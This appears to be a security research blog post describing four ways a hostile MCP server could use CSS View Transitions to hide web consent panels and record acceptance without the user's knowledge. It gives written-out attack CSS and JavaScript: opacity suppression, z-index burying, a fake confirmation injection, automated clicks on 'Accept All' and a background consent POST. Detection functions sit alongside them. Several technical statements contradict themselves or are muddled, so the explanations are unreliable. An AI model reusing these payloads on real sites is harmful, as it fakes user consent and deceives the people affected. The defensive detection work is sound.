MCP server CSS view-transition-class security: ::view-transition-group class selector interception, cross-document consent element animation hijack, view-transition-class opacity animation, and @view-transition navigation rule override attacks

Published 2026-07-25 — SkillAudit Research

CSS View Transitions Level 2 (2025 specification, shipping in Chromium 126+) introduces view-transition-class — a property that allows multiple named view transition elements to be grouped under a shared class for CSS targeting. The selector form ::view-transition-group(*.my-class) matches all view transition pseudo-elements whose associated element has view-transition-class: my-class. This enables writing CSS animations that apply to classes of transitioning elements without knowing their individual view-transition-name values.

The attack surface is that view-transition-class enables MCP servers to intercept view transitions for consent elements without knowing the specific view-transition-name used by the consent framework. If the consent framework assigns any view-transition-name to the consent container (common in single-page consent flows that animate between consent steps), the MCP server can assign view-transition-class: consent-panel to the same element and then write a ::view-transition-group(*.consent-panel) { opacity: 0 } rule to make the consent invisible during the transition animation. The consent is fully present and visible before and after the transition; only during the transition animation (which may last 200–500ms — long enough for a user to click through) is it hidden.

Cross-document vs same-document transitions: Cross-document view transitions (navigating between pages) are opt-in via @view-transition { navigation: auto } and are governed by the CSS of the destination page. Same-document view transitions (within a SPA) are triggered by JavaScript calling document.startViewTransition(). Both are exploitable via view-transition-class, but cross-document transitions are harder to detect because the attacking CSS is in the destination page that the browser is transitioning from — and MCP server control of the source page CSS governs the outgoing capture pseudo-elements.

Attack 1: view-transition-class on consent element + ::view-transition-group opacity:0 hides consent during transition

The MCP server assigns view-transition-class: mcp-consent-anim to the consent container element. It then writes a CSS rule targeting the view transition pseudo-element for that class: ::view-transition-group(*.mcp-consent-anim) { opacity: 0 }. During the view transition (when the consent framework animates between step 1 and step 2 of a multi-step consent flow), the consent element's transition group pseudo-element is hidden. The transition duration is 300ms by default — during which the consent panel is invisible. An auto-advance mechanism (button click simulated via dispatchEvent after 100ms) can trigger acceptance during this invisible window.

/* MCP attack — view-transition-class opacity suppression: */

/* Step 1: MCP assigns view-transition-class to consent element */
.consent-step-panel,
#consent-modal-content,
[data-consent-step] {
  view-transition-class: mcp-consent-anim;
  /* This doesn't affect the element's visual rendering at all.
     It only takes effect when a view transition pseudo-element is
     created for this element (i.e., when it has a view-transition-name). */
}

/* Step 2: MCP targets the class-matched transition group pseudo-element */
::view-transition-group(*.mcp-consent-anim) {
  opacity: 0;             /* consent group pseudo-element is invisible */
  animation: none;        /* cancel framework's transition animation */
}

/* Step 3: MCP auto-advances the consent flow during the invisible window */
document.addEventListener('DOMContentLoaded', () => {
  // Wait for view transition to start
  document.addEventListener('pagereveal', () => {
    const acceptBtn = document.querySelector('[data-consent-accept], .accept-all-btn');
    // Click the accept button 150ms into the transition
    // (consent panel is invisible at this point due to opacity:0)
    setTimeout(() => acceptBtn?.click(), 150);
  });
});

// The user sees: consent panel → [invisible for 300ms] → post-consent page
// During the invisible 300ms, "Accept All" was automatically clicked.
// The consent record shows: accepted = true, timestamp = [during transition].

// Detection
function detectViewTransitionClassAttack() {
  document.querySelectorAll('[data-consent], .consent-step-panel, #consent-modal-content').forEach(el => {
    const cs = window.getComputedStyle(el);
    const vtClass = cs.getPropertyValue('view-transition-class');
    if (vtClass && vtClass !== 'none') {
      console.warn('SECURITY: view-transition-class on consent element:', {
        el, viewTransitionClass: vtClass,
        note: 'Check ::view-transition-group(*.class) rules for opacity/display manipulation'
      });
    }
  });
  // Scan for transition group rules targeting classes
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule.selectorText && rule.selectorText.includes('view-transition-group')) {
          const opacity = rule.style.opacity;
          if (opacity === '0' || parseFloat(opacity) < 0.1) {
            console.error('SECURITY: ::view-transition-group rule with opacity:0:', {
              selector: rule.selectorText, opacity
            });
          }
        }
      }
    } catch (e) {}
  }
}

Attack 2: cross-document view transition via @view-transition skips consent page entirely

In a multi-page checkout or consent flow (separate page per step), the @view-transition { navigation: auto } rule on the consent page enables cross-document view transitions. When the user navigates from the product page to the consent page, the browser captures the product page (outgoing) and the consent page (incoming) and animates between them. An MCP server on the incoming consent page defines ::view-transition-new(root) { animation-duration: 0s } and assigns view-transition-name and view-transition-class to the post-consent (confirmation) page content, making the transition appear to jump directly from the product page to the confirmation page. The consent page is the destination but its content is replaced by the confirmation page content during the transition pseudo-element phase.

/* MCP attack — cross-document transition makes consent page appear as confirmation: */

/* On the CONSENT page (incoming): */
@view-transition {
  navigation: auto;     /* opt into cross-document transitions */
}

/* MCP injects confirmation-page content into the consent page's DOM
   and assigns it a view-transition-name so it participates in the transition: */
const confirmationDiv = document.createElement('div');
confirmationDiv.innerHTML = 'Thank you! Your consent has been recorded.';
confirmationDiv.style.viewTransitionName = 'confirmation-content';
confirmationDiv.style.viewTransitionClass = 'confirmation-panel';
document.body.appendChild(confirmationDiv);

/* The consent form is made the "old" content (outgoing): */
document.querySelector('#consent-form').style.viewTransitionName = 'consent-form';

/* MCP CSS — animate consent form out immediately, bring confirmation in: */
::view-transition-old(consent-form) {
  animation: none;
  opacity: 0;     /* consent form invisible immediately */
}
::view-transition-new(confirmation-content) {
  animation: fadeIn 0.3s ease;   /* confirmation content fades in */
}

/* The user sees: product page → [transition] → "Thank you!" page
   They never saw the consent form. But the URL is the consent page URL.
   Any consent submission logic that fires automatically (MCP's hidden form submit)
   has recorded consent without user interaction. */

// Detection
function detectCrossDocumentTransitionAbuse() {
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule instanceof CSSViewTransitionRule) {
          // @view-transition rule present — check if page is a consent page
          const isConsentPage = /consent|cookie|privacy|gdpr/i.test(document.title) ||
            !!document.querySelector('[data-consent-form], #consent-modal, .cookie-consent');
          if (isConsentPage) {
            console.warn('SECURITY: @view-transition navigation:auto on consent page — cross-document transition enabled:', {
              navigation: rule.navigation,
              note: 'Cross-document transitions can animate consent page to appear as confirmation page'
            });
          }
        }
      }
    } catch (e) {}
  }
}

Attack 3: ::view-transition-image-pair z-index stacking buries consent under product content layer

During a view transition, the browser creates a pseudo-element tree: ::view-transition (root) → ::view-transition-group(name)::view-transition-image-pair(name)::view-transition-old(name) / ::view-transition-new(name). The ::view-transition root has a very high default z-index, overlaying the page content. Within this pseudo-element tree, MCP servers can manipulate z-index values to layer the product content's image pair on top of the consent content's image pair — the product slides over the consent, covering it while the animation proceeds.

/* MCP attack — z-index stacking in view transition pseudo-elements: */

/* Assign view-transition-name to both product and consent elements: */
.product-hero {
  view-transition-name: product-hero;
  view-transition-class: layer-above;
}
#consent-panel {
  view-transition-name: consent-panel;
  view-transition-class: layer-below;
}

/* CSS: make product image pair appear above consent image pair: */
::view-transition-group(*.layer-above) {
  z-index: 100;    /* product content above consent */
}
::view-transition-group(*.layer-below) {
  z-index: 1;      /* consent content below product */
}

/* During the transition animation:
   Product content (z-index:100) overlays consent content (z-index:1).
   User sees the product animation but not the consent panel underneath it.
   The consent panel is transitioning normally — just covered by the product layer. */

// Detection: check for z-index values in view-transition-group rules
function detectTransitionZIndexStacking() {
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule.selectorText?.includes('view-transition-group')) {
          const z = parseInt(rule.style.zIndex, 10);
          if (!isNaN(z) && z > 10) {
            console.warn('SECURITY: high z-index on view-transition-group:', {
              selector: rule.selectorText, zIndex: z
            });
          }
        }
      }
    } catch (e) {}
  }
}

Attack 4: view-transition-class skip-transition on consent element removes it from transition capture

In CSS View Transitions Level 2, if view-transition-name: none is applied to an element during the transition setup phase (in the updateCallbackDone phase or via a @starting-style-like mechanism), the element is excluded from the transition capture — it does not appear in the transition pseudo-element tree and therefore is not rendered during the transition animation. The element immediately shows its post-transition state. Combined with setting the element to opacity: 0 as its post-transition state (via the incoming DOM), the consent element is effectively hidden for the duration of the transition.

/* MCP attack — exclude consent element from transition capture: */

// In the updateCallbackDone callback (same-document transitions):
document.startViewTransition(async () => {
  // MCP intercepts the updateCallbackDone phase:
  const consentPanel = document.querySelector('#consent-panel');

  // Remove consent from view transition capture:
  consentPanel.style.viewTransitionName = 'none';  /* excluded from capture */

  // Set post-transition state: consent hidden
  consentPanel.style.opacity = '0';
  consentPanel.style.pointerEvents = 'none';

  // Auto-accept in the background:
  await fetch('/api/consent/accept', { method: 'POST', body: '{"accepted":true}' });

  // After transition: restore (but accept was already recorded)
  setTimeout(() => {
    consentPanel.style.opacity = '1';
    consentPanel.style.pointerEvents = '';
    consentPanel.style.viewTransitionName = '';
  }, 50);  // too fast for user to notice
});

/* The consent element is excluded from the cross-fade animation.
   During transition (300ms), it has opacity:0 and pointer-events:none.
   The server-side consent record is updated to accepted=true.
   The consent panel reappears after 50ms with the consent already accepted.
   The UI shows the accept button as already pressed. */

// Detection
function detectViewTransitionNameDynamicRemoval() {
  // Patch startViewTransition to monitor updateCallbackDone manipulation
  const originalSVT = document.startViewTransition?.bind(document);
  if (!originalSVT) return;
  document.startViewTransition = function(callback) {
    const wrappedCallback = async () => {
      const before = document.querySelector('#consent-panel, [data-consent], .consent-wrapper');
      const beforeVTN = before?.style.viewTransitionName;
      await callback();
      const afterVTN = before?.style.viewTransitionName;
      if (beforeVTN && beforeVTN !== 'none' && afterVTN === 'none') {
        console.error('SECURITY: consent element view-transition-name removed during updateCallbackDone:', {
          el: before, before: beforeVTN, after: afterVTN
        });
      }
    };
    return originalSVT(wrappedCallback);
  };
}

View transition pseudo-elements bypass consent framework visibility checks: Consent frameworks that verify consent panel visibility using IntersectionObserver, getBoundingClientRect(), or getComputedStyle(el).opacity check the real DOM element — not the view transition pseudo-element tree that overlays it. During a view transition, the real DOM elements are hidden and the pseudo-elements are visible. MCP manipulation of pseudo-element opacity during the transition is invisible to DOM-based visibility checks. SkillAudit detects this by patching document.startViewTransition and monitoring document.getAnimations() for animations targeting ::view-transition-* pseudo-elements that affect consent-related groups.

Attack summary

AttackPropertiesEffect on consentSeverity
view-transition-class + ::group opacity:0view-transition-class + ::view-transition-group(*.class){opacity:0}Consent invisible during 300ms transitionHigh
Cross-document @view-transition consent bypass@view-transition { navigation: auto } + pseudo-element swapConsent page appears as confirmationHigh
::image-pair z-index stacking::view-transition-group(*.class) { z-index: 100 }Consent covered by product layerMedium
Dynamic view-transition-name:none removalJS sets viewTransitionName = 'none' in callbackConsent excluded from capture + hiddenHigh
High CSS view-transition-class opacity suppression — consent panel invisible during transition animation: MCP server assigns view-transition-class: mcp-consent-anim to the consent container and applies ::view-transition-group(*.mcp-consent-anim) { opacity: 0 }. During any view transition involving the consent element, the transition group pseudo-element is invisible for the duration of the animation. Auto-click mechanisms firing during this window can record consent acceptance without user awareness of the consent content.
High CSS cross-document view transition consent page bypass — confirmation content shown during consent transition: MCP server on the consent page injects confirmation-page content and assigns it view-transition-name and view-transition-class values. The cross-document view transition animates from the product page directly to the confirmation content — the consent form is animated out immediately and replaced by a success message. Consent submission fires in the background without user interaction with the consent form.
High Dynamic view-transition-name removal during updateCallbackDone — consent excluded from transition and set to opacity:0: MCP server intercepts document.startViewTransition() callback phase, removes view-transition-name from the consent element, sets opacity: 0 on the consent element, fires a background consent acceptance API call, then restores the element after 50ms. The DOM-based consent visibility check never fires during the invisible window because the startViewTransition callback is synchronous from the consent framework's perspective.

Blog: CSS view transition attacks  |  CSS view-transitions security  |  Security Checklist